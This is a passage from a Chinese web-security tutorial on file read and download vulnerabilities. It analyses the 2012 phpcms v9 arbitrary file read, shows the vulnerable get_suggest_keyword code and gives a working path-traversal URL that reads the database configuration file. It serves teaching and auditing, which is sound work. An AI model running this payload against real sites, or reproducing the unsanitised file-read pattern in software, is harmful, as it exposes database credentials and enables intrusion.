5.1.2 文件读取(下载)漏洞
文件读取漏洞与下载漏洞差别不大,这里就合并在一起说,文件读取漏洞在很多大型应用上都出现过,印象比较深的是 2012 年的时候 phpcmsv9 的任意文件读取,可以直接读取数据库配置文件,当时也是有很多企业因为这个漏洞被入侵。这个漏洞很容易理解,部分程序在下载文件或者读取显示文件的时候,读取文件的参数 filename 直接在请求里面传递,后台程序获取到这个文件路径后直接读取返回,问题在于这个参数是用户可控的,可以直接传入想要读取的文件路径即可利用。
挖掘经验:
文件读取的漏洞寻找起来很是比较容易的,一种方式是可以先黑盒看看功能点对应的文件,再去读文件,这样找起来会比较快。另外一种方式就是去搜索文件读取的函数,看看有没有可以直接或者间接控制的变量,文件读取函数列表如下:file_get_contents()、highlight_file()、fopen()、readfile()、fread()、fgetss()、fgets()、parse_ini_file()、show_source()、file(),除了这些正常的读取文件的函数之外,另外一些其他功能的函数也一样可以用来读取文件,比如文件包含函数 include 等,可以利用 PHP 输入输出流 php://filter/来读取文件。
phpcms 任意文件读取分析
这里介绍 phpcms v9 的任意文件读取漏洞,漏洞作者为 safekey team 核心成员 zvall。
漏洞位于文件/phpcms/modules/search/index.phppublic_的 get_suggest_keyword 函数,代码如下:
public function public_get_suggest_keyword () { $url = $_GET['url'].'&q='.$_GET['q'] ; $res = @file_get_contents ( $url ); if ( CHARSET ! = 'gbk' ) { $res = iconv ( 'gbk' , CHARSET , $res ); } echo $res ; }
这里可以看到该函数直接从 GET 参数里面获取要读取的 URL,然后使用 file_get_contents 函数来读取内容,不过这里有一点要说一下,如果直接提交?url=&q=1.php 我们打印出来 url 变量可以看到值为“&q=1.php”,带到函数里面则是 file_get_contents(“&q=1.php”),这样是读不到当前文件的,需要?url=&q=../../1.php 这样多加两个”../”,把“&q=”当成目录来跳过,最终这个漏洞读取数据库配置文件的 EXP 为:
/index.php?m=search&c=index&a=public_get_suggest_keyword&url=&q=../../phpsso_server/caches/configs/database.php
利用截图如图 5-5 所示。
图 5-5
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论